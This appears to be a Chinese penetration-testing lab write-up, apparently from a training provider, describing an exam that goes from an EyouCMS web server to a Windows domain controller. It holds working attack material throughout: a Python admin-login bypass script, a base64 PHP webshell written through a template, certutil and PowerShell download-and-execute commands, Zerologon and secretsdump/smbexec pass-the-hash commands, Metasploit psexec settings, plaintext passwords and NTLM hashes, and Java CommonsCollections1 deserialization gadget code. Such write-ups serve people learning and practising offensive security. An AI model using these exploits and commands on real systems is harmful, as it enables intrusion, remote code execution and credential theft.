0考核介绍
本次考核最终通过人数七人 达到预期目标
考核内容
本次考核使用在线靶靶场,主要考核从外网打点到内网域渗透的能力。
web:php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。
难度 中
拓扑图:
10x01 渗透过程
跳板机:
192.168.0.116
192.168.22.152
data:
192.168.22.146
10.10.10.136
ad:
10.10.10.137
写在前面:如果不看我的思路分析,只看题解的话,第二部分可以直接步入反编译jar包那里。
进入主页,观察一下路由,猜测是thinkphp的框架。此时可以尝试下thinkphp的框架漏洞。
但是考虑到不是100%成功,还是自己拉个代码下来看看稳妥一点,毕竟是考试。
目录扫描
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://website/ -x php,zip -t 50
有个login.php,我们进去看看。运气不错,人家直接告诉我们了。
倘若没有的话,我们可以在fofa搜索icon图标的hash,基本也可以确定网站的cms。目前还不知道版本
先随便找个公开版看看吧,我一开始在GitHub上下载的版本为eyoucms-1.5.4,看到后台页面不一样,所以不是这个版本。
那要怎么确定版本呢?我们试试在IDE里面全局搜索关键字 1.5.4
直接来吧!在目标站访问/data/conf/version.txt
完事儿了,拉下1.5.1的源码吧。下载地址:https://www.eyoucms.com/rizhi/2021/0112/11168.html
进去看到是thinkphp5+的,想到反序列化rce链。找到反序列化入口就可以了。
但是想偷懒,也想快点进去。就找找1day看看……
这个漏洞分为两部分,第一部分是后台登陆绕过,第二部分是拉去官方网站下的镜像(可控)。
稍微看了下,Ajax中的get_token()
函数没有做好鉴权,导致前台可以随便调用,并且用于产生的session参数都是我们可以传入的。
既然这样的话,那我们给自己生成个管理员的session就可以了。具体可以参考这篇:https://www.yisu.com/zixun/497673.html
因为官方对我们上传的插件做了过滤,所以第二部分就不行了 ,总之先进后台看看吧。
写出后台登陆绕过脚本。这里还是花了点时间,主要是python里没有php的intval()
的函数,所以在这上面耽误了一会。
暂时先抄个is_number()
函数解决下,脚本有些bug,运行出错重新运行下就行了。
import requests
import time
def is_number(s):
try:
float(s)
return True
except ValueError:
pass
try:
import unicodedata
unicodedata.numeric(s)
return True
except (TypeError, ValueError):
pass
return False
#admin_login_expire // getTime() - intval($admin_login_expire)
def admin_login_expire():
url = 'http://ip/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_login_expire'
#print(cookies)
while True:
num_10 = requests.get(url,cookies=cookies).text
if is_number(num_10[0:10]):
if int(time.time()) - int(num_10[0:10]) < 3600 :
return num_10
#admin_info.roke_id //转为整形小于等于0
def roke_id():
url = 'http://ip/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_info.roke_id'
while True:
num_1 = requests.get(url,cookies=cookies).text
if is_number(num_1[0:1]):
continue
else:
return num_1
#admin_id //任意值
def admin_id():
url = 'http://ip/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_id'
admin_id = requests.get(url,cookies=cookies).text
return admin_id
if __name__ == "__main__":
cookies = {'home_lang': 'cn', 'admin_lang': 'cn', 'PHPSESSID': '这里填写你的PHPSESSID'}
print("admin_login_expire:",admin_login_expire())
print("admin_info.roke_id:",roke_id())
print("admin_id:",admin_id())
脚本运行输出内容后,我们直接使用现在的PHPSESSID,放到cookie里面就可以绕过登录了。
常规的方法:模板里面写入php代码在进行渲染就可以了。
<?= file_put_contents('./uploads/allimg/init.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydpbml0J10pOw=='));
//这里使用<?= 绕下过滤就行了 //密码init
因为是PHP study搭建的,权限很高,所以直接拿下第一层主机了。
因为第一台太过容易了,不到一会儿就拿到了,所以一开始还是信心满满的。我们msf上线这台主机。
这个数据库服务器不太一样,它没有数据库,所以我们不能通过常规的数据库操作来获得这台主机的权限。
收集网段
192.168.0.1/24
192.168.22.1/24
看了下与拓扑图是相符的
收集密码
administrator NTLM:c51ba7c328cd01866885a37748816e07 //QWEadmin123
3306:root root123.123 //数据库连接文件
浏览器密码
Windows密码(直接用kiwi读就可以了)
因为是考试,不管那么多了,Todesk直接上去看吧,看到了Firefox保存的明文密码。
certutil -urlcache -split -f https://dl.todesk.com/windows/ToDesk_Setup.exe c:\\windows\\debug\\wia\\ToDesk_Setup.exe
c:\\windows\\debug\\wia\\ToDesk_Setup.exe /S #/S参数静默安装,替换下加密内容就可以在本地看到密码了
扫下端口
proxychains nmap -sT -Pn 192.168.22.146 //得到139,135,445,9999
永恒之蓝失败,看下9999是什么东西。
识别出来是个abyss
,然后开始Google这个玩意儿,9999是这个web服务器默认端口,于是就开始找哇找,有没有1day,
故事从这里开始…………
一个一个点进去看,最早的remote漏洞是2003-12-08公开的,Abyss Web Server 1.0/1.1 - Authentication Bypass
看到这个日期我是有点慌的,这是否有点?……总之继续吧,能不能想办法访问到web认证页面?
找到这篇:https://www.anxz.com/down/108372.html,里面提到:
尝试了下直接http到9999,意料之中,连不上去。那有没有可能是反向代理
呢?一个个试了,没一个能访问的,寄。
后来才知道,因为nmap指纹识别错误的原因,让我在abyss上折腾了一天。回头看看考点,JAVA代码审计?
这时才想起来todesk到桌面上去的时候有个QQclient.jar
和一个账号密码文本,第一次尝试登陆失败(后来才知道是data崩了的原因,顺便说下,如果第一次登录上去了……可能早就关注到这个jar包了,也能早点发现第二层的入口)。开始以为这东西没用,故没有放在心上。当然也是不熟悉java的原因,所以能晚点看java就晚点看吧?……到这里实在没办法了。反编译jar包看看吧。
参考这篇:https://blog.csdn.net/qq_45504261/article/details/116447756
直接来吧。
看到这个端口我才知道,原来是下一层的9999端口是一个自己写的QQsever客户端……而不是abyss。
idea代理挂上,调试一下。记住这个IDEA代理,这在我测试的环境下根本无法生效。但我一开始还不知道。
run一下,看到有输出内容我以为代理成功了,就放心看qqClient去了。后面RCE的时候才知道这个代理无法生效,暂时不清楚原因。
跟着调试左看右看,发现了几处功能点。。。实际上能登陆的话终端会有打印(当时data崩了,即使账号密码正确也无法登录)
这里看到有个功能是传文件的。也有传文字的,总之是一个简易版的QQ。
结合账号文本里给了两个账户的用户密码,且登陆后发现在线用户数为2,那么是不是服务端主机也运行了一个客户端,并且我们可以调用这个文件传输功能给它发点东西看看?
猜想:登录系统——>发送文件到服务端——>但这里没有执行权限
因为当时我还没有想到去找Server端的源码,所以我只能操作客户端,我登录后给100发了个文件,虽然不知道它是否能收到。
但我假设它能收到的话,那么不就可以往它里面写入文件了?这里我想到了两个利用思路:
发送文件到它的启动项
DLL加载劫持
因为第一种比较容易,我试了下传了个bind.exe,代理开好,正向连接监听好。问了下月哥能不能重启下data主机。他不回答我,后来打进去才知道为啥。因为这里根本是发送不过去文件的。再找别的思路吧。
看到服务端new了个socket,考虑下抓包。难道是websocket之类的?Google一下websocket vulnerablity
:
https://blog.csdn.net/qq_34207422/article/details/125180342 //websocket抓包
看起来有的搞啊,websocket还挺多人研究的,CSRF、XXE到RCE(限制很大)、XSS都有
所以我现在的想法是抓个包看看,考虑到能利用的话,一定要编辑、重发、拦截功能。
所以我想能不能把数据包转发到burpsuite上面来,查询大量资料后,后来发现burpsuite不支持socks代理协议,而我们客户端必须使用socks协议代理,并且我用Proxifier+fiddler也根本无法抓到包,最后用wireshark才成功抓到,但没有找到明文传输。。。。研究了一天,未果。(这根本不是websocket)
其实按照CSRF的思路,如果是websocket,那我们利用XXE让他去读局域网共享的文件夹里面的文件,这其中它就会把他的windows认证信息发送过来了。我们使用Responder进行NTLMV哈希的窃取。具体实现方法是利用文件发送功能,让第二层主机上的客户端主动去发送文件,发送给谁都没关系,但填写的要发送文件的地址必须 是\\192.168.22.152\1.test。此时因为他必须要把文件从共享文件夹里面拿出来,必然要访问局域网共享,那么我们在一层主机不就可以抓到NTLMhash了吗?
后来知道因为不是websocket,所以这条思路就不行了。因为根本没办法进行html和XML渲染。
因为之前只有客户端用,服务端是黑盒,所以没办法进一步分析了。想下能不能搞到QQserver的源码呢?于是我上GitHub搜索关键字,运气不错,直接找到源码了
网络通信系统
后面直接从服务端开始审计了。有了服务端的源码就好多了。。
我们知道java序列化的时候,会先创建二进制流,再写入类。反序列化解析二进制流,读出类。
关键点就在于这个二进制流,从java反序列化利用链里看到使用的都是文件流,也就是使用FileOutputStream(),FileInputStream()方法。而在java_socket网络编程里面,使用的是socket字节流。参考连接:https://blog.csdn.net/anthony_ju/article/details/82192135
//序列化
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
//反序列化
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
可以看到,这里反序列化了socket输入流,并且调用了readObject()方法,可以利用CC1链。
那么我们只要找到一个地方把socks输出流传过去不就行了吗?我们来试试
我选择在MessageClientService
类的群聊方法里面执行cc1,它会将我们写入的socket流发到服务端去反序列化,这样一来我们就可以RCE了。你也可以在客户端的UserClientService
的类里面直接在user对象被反序列化前执行CC1。不过这样一来就无法登录成功,不便于我们确定流量是否到达服务端,但还是可以RCE的。就像这样:
我是在6号中午的时候成功RCE了的,一开始我也是在登录之前去发送socket流去rce,但是这样的坏处就体现出来了:那就是你不知道你是否在idea执行的流量是否真的到了服务端。所以我们写在信息群发类里面,可以在登陆成功之后去群发消息,再触发RCE。
我就是在这里卡了很久,一直不清楚为什么服务端无法rce。但是windows我试了很多方法,都无法成功代理java 的流量,无奈之下我只好打包成jar包到kali用proxchains代理java运行。
还有一个tip:只有用拿到的client_jar包反编译的项目在重新打包成jar包才可以连接上靶场,因为项目被更改了一部分。原生的client无法连接当前环境的data。
如何将项目打包成jar包,参考这篇:https://blog.csdn.net/xuemengrui12/article/details/74984731
这里我也卡了很久,因为从来没有打包过jar包,听说maven打包很方便,但我连从哪里执行命令都不知道。
下载文件命令,先下载!在执行!我之前喜欢用certutil
下载,在这里也折腾了一晚上。还是用powershell
下载好点
最后用msf正向过去即可得到session
远程监听50671
C:/phpstudy_pro/WWW/uploads/ //上传bind到web的这个目录
powershell -c "invoke-webrequest -uri http://192.168.22.152/uploads/bind.exe -outfile c:/users/administrator/desktop/bind_init.exe"
LM hash:NT hash 从Windows Vista / Server 2008开始,默认情况下已关闭LM
这里有个小知识:关于NTLM hash的md5碰撞,我们只拿后面一部分,也就是NT部分
例:aad3b435b51404eeaad3b435b51404ee : 66120f7b66195b694faeabc4e3b6752d //QWEasd..123
将域控密码置空
proxychains ./cve-2020-1472-exploit.py ad 10.10.10.137
读域控hash
proxychains ./secretsdump.py vsmoom/ad\[email protected] -no-pass
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d [email protected]
上文已经获取了NT hash,经过md5碰撞可得域管理员密码为:QWEasd..123。
#msf的psexec模块登录域控并返回给我们一个session
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp #使用正向连接
show options
set lport 50115 #这里填写受害端的端口
set rhost 10.10.10.137
set smbuser administrator
set smbpass QWEasd..123
proxychains python3 reinstall_original_pw.py ad 10.10.10.137
vsmoon exp
//添加cc1依赖
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
//cc1
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null,}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null,}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "xxxx");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
// 'sun.reflect.annotation.AnnotationInvocationHandler' 在 'sun.reflect.annotation' 中不为 public。
// 我们不能直接创建对象,需要利用反射获得对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, decorate);
//cc1
//创建与服务器的连接
Socket socket = new Socket(InetAddress.getByName("127.0.0.1"), 9999);
//将用户对象发送给服务器去验证
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
oos.writeObject(o);
写在最后,因为不知道怎么把第三层的流量转发到第二层。
想在cobaltstrike里面全部上线,导致出现这样的场景:DATA居然出现回路了- -。暂时不知道怎么解决。
2关注公众号
公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
3关于培训
需要渗透测试培训
扫一扫添加微信咨询
课程内容点击了解